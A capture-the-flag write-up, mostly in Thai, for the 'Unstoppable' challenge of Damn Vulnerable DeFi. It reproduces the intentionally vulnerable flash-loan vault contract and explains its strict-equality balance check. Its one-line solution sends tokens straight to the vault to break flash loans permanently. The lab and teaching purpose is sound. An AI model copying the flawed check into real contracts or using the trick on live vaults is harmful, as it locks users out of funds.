Damn Vulnerable Defi writeup

Nattawat Songsom
5 min readApr 11, 2023

--

มาทำ solidity CTF กันต่อครับ

Challenge #1 — Unstoppable

There’s a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.

To pass the challenge, make the vault stop offering flash loans.

You start with 10 DVT tokens in balance.

โอเค มาดู code กัน

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solmate/src/utils/FixedPointMathLib.sol";
import "solmate/src/utils/ReentrancyGuard.sol";
import { SafeTransferLib, ERC4626, ERC20 } from "solmate/src/mixins/ERC4626.sol";
import "solmate/src/auth/Owned.sol";
import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol";

/**
* @title UnstoppableVault
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;

uint256 public constant FEE_FACTOR = 0.05 ether;
uint64 public constant GRACE_PERIOD = 30 days;

uint64 public immutable end = uint64(block.timestamp) + GRACE_PERIOD;

address public feeRecipient;

error InvalidAmount(uint256 amount);
error InvalidBalance();
error CallbackFailed();
error UnsupportedCurrency();

event FeeRecipientUpdated(address indexed newFeeRecipient);

constructor(ERC20 _token, address _owner, address _feeRecipient)
ERC4626(_token, "Oh Damn Valuable Token", "oDVT")
Owned(_owner)
{
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}

/**
* @inheritdoc IERC3156FlashLender
*/
function maxFlashLoan(address _token) public view returns (uint256) {
if (address(asset) != _token)
return 0;

return totalAssets();
}

/**
* @inheritdoc IERC3156FlashLender
*/
function flashFee(address _token, uint256 _amount) public view returns (uint256 fee) {
if (address(asset) != _token)
revert UnsupportedCurrency();

if (block.timestamp < end && _amount < maxFlashLoan(_token)) {
return 0;
} else {
return _amount.mulWadUp(FEE_FACTOR);
}
}

function setFeeRecipient(address _feeRecipient) external onlyOwner {
if (_feeRecipient != address(this)) {
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}
}

/**
* @inheritdoc ERC4626
*/
function totalAssets() public view override returns (uint256) {
assembly { // better safe than sorry
if eq(sload(0), 2) {
mstore(0x00, 0xed3ba6a6)
revert(0x1c, 0x04)
}
}
return asset.balanceOf(address(this));
}

/**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
uint256 fee = flashFee(_token, amount);
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
// callback must return magic value, otherwise assume it failed
if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
revert CallbackFailed();
// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);
return true;
}

/**
* @inheritdoc ERC4626
*/
function beforeWithdraw(uint256 assets, uint256 shares) internal override nonReentrant {}

/**
* @inheritdoc ERC4626
*/
function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solmate/src/auth/Owned.sol";
import { UnstoppableVault, ERC20 } from "../unstoppable/UnstoppableVault.sol";

/**
* @title ReceiverUnstoppable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower {
UnstoppableVault private immutable pool;

error UnexpectedFlashLoan();

constructor(address poolAddress) Owned(msg.sender) {
pool = UnstoppableVault(poolAddress);
}

function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0)
revert UnexpectedFlashLoan();

ERC20(token).approve(address(pool), amount);

return keccak256("IERC3156FlashBorrower.onFlashLoan");
}

function executeFlashLoan(uint256 amount) external onlyOwner {
address asset = address(pool.asset());
pool.flashLoan(
this,
asset,
amount,
bytes("")
);
}
}

โอเค เราจะเห็นได้ว่า vault มีการเปิดให้ flash loan ได้

เรามาดูกันก่อนว่า flash loan คืออะไร ?

สั้นๆคือเป็น contract ที่ทำให้ contract อื่นมายืม token ได้ โดยจะต้องนำ token มาคืนภายใน transaction นั้น บวกด้วยค่า fee ในการยืม

โอเค มาลองดู code กัน

จาก contract UnstoppableVault function flashLoan

เราจะเริ่มจากการหาค่า fee ของการยืม token ในจำนวน amount ตาม code ด้านล่าง

/**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
...
uint256 fee = flashFee(_token, amount);
...
}

โดยในการคิดค่า fee

ถ้ายืมเหรียญที่ไม่ support จะเกิดการ revert

ถ้ายืมในเวลาที่กำหนด และยืมในจำนวนที่ไม่เกินลิมิต จะมีค่า fee เป็น 0

นอกจากนั้นจะมีค่า fee เป็น amount * 0.05 * 10¹⁸

/**
* @inheritdoc IERC3156FlashLender
*/
function flashFee(address _token, uint256 _amount) public view returns (uint256 fee) {
if (address(asset) != _token)
revert UnsupportedCurrency();

if (block.timestamp < end && _amount < maxFlashLoan(_token)) {
return 0;
} else {
return _amount.mulWadUp(FEE_FACTOR);
}
}

หลังจากนั้น contract จะโอน token ไปให้ receiver ยืม ตาม code

/**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
...
uint256 fee = flashFee(_token, amount);
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
...
}

หลังจากนั้น contract UnstoppableVault จะไปเรียก function onFlashLoan ของ msg.sender ซึ่งปกติแล้ว ใน onFlashLoan จะ approve token จำนวน amount + fee มาให้ UnstoppableVault เพื่อให้สามารถคืนหนี้มาผ่านทางการ transferFrom ได้ตาม code

/**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
...
uint256 fee = flashFee(_token, amount);
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
// callback must return magic value, otherwise assume it failed
if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
revert CallbackFailed();
// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);
return true;
}

โอเค โจทย์คือ ทำให้ไม่สามารถ flashLoan ได้อีก ตาม test ด้านล่าง

โอเค มาลองไล่ code กัน

เราจะพบว่ามีการเช็คว่าจำนวนเหรียญที่ vault มี ว่าเท่ากับ totalSupply มั้ย

    /**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
...
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
...
}

โดยเป็น totalSupply ของ ERC4626 ซึ่งตัวเหรียญ ERC4626 เอง ถูกสร้างพร้อมกับ contract vault ตาม code ด้านล่าง

โดยถูกตั้งเป็น 1,000,000 จากการ deposit

  const TOKENS_IN_VAULT = 1000000n * 10n ** 18n;
const INITIAL_PLAYER_TOKEN_BALANCE = 10n * 10n ** 18n;

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

[deployer, player, someUser] = await ethers.getSigners();

token = await (
await ethers.getContractFactory("DamnValuableToken", deployer)
).deploy();
vault = await (
await ethers.getContractFactory("UnstoppableVault", deployer)
).deploy(
token.address,
deployer.address, // owner
deployer.address // fee recipient
);
expect(await vault.asset()).to.eq(token.address);

await token.approve(vault.address, TOKENS_IN_VAULT);
await vault.deposit(TOKENS_IN_VAULT, deployer.address);

ซึ่งการเช็ค balance แบบเป๊ะๆ เช่น if (convertToShares(totalSupply) != balanceBefore) เนี่ย เป็น anti pattern โดยมีกฎที่คล้ายๆกันคือ SWC-132 ซึ่งบอกว่า “ไม่ควรเช็ค == ตรงๆ แต่ควรใช้ ≥ หรือ ≤ แทน เพราะการแก้ balance สามารถทำได้หลายวิธี และ contract อาจจะป้องกันได้ไม่หมด” ตามรูปด้านล่าง

ดังนั้นเราสามารถโอน token ไปให้ vault เพื่อให้ balance เพี้ยน ซึ่งจะทำให้เข้าเงื่อนไข if (convertToShares(totalSupply) != balanceBefore) ใน flashLoan โดยจะทำให้เกิดการ revert ตามที่โจทย์ต้องการนั่นเอง

  it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
await token.transfer(vault.address, 100n * 10n ** 18n);
});

after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

// It is no longer possible to execute flash loans
await expect(
receiverContract.executeFlashLoan(100n * 10n ** 18n)
).to.be.reverted;
});

Referrence

--

--

No responses yet